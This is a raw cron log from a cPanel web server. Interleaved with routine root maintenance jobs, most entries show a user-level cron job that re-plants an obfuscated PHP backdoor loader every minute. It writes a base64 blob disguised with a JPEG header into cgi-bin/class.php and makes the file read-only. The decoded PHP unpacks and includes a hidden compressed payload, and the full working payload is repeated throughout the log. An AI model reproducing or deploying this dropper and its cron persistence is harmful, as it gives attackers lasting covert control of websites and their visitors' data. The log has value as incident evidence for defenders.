Sep  9 15:38:01 server CROND[16416]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:38:01 server CROND[16417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:39:01 server CROND[16783]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:39:01 server CROND[16784]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 15:39:01 server CROND[16785]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:39:01 server CROND[16786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:40:01 server CROND[17165]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 15:40:01 server CROND[17168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:40:01 server CROND[17169]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:40:01 server CROND[17172]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 15:40:01 server CROND[17171]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 15:40:01 server CROND[17173]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 15:40:01 server CROND[17176]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:40:01 server CROND[17174]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 15:41:01 server CROND[17980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:41:01 server CROND[17981]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:41:01 server CROND[17979]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:42:01 server CROND[18397]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:42:01 server CROND[18398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:42:01 server CROND[18400]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 15:42:01 server CROND[18399]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:43:01 server CROND[18879]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:43:01 server CROND[18881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:43:01 server CROND[18880]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:44:01 server CROND[19246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:44:01 server CROND[19247]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:44:01 server CROND[19245]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:45:01 server CROND[19734]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 15:45:01 server CROND[19736]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 15:45:01 server CROND[19738]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:45:01 server CROND[19742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:45:01 server CROND[19745]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 15:45:01 server CROND[19744]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:45:01 server CROND[19743]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 15:46:01 server CROND[20558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:46:01 server CROND[20557]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:46:01 server CROND[20559]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:47:01 server CROND[20935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:47:01 server CROND[20936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:47:01 server CROND[20937]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:48:01 server CROND[21466]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:48:01 server CROND[21467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:48:01 server CROND[21468]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:49:01 server CROND[21831]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:49:01 server CROND[21832]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:49:01 server CROND[21833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:50:01 server CROND[22220]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 15:50:01 server CROND[22221]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 15:50:01 server CROND[22222]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 15:50:01 server CROND[22224]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 15:50:01 server CROND[22225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
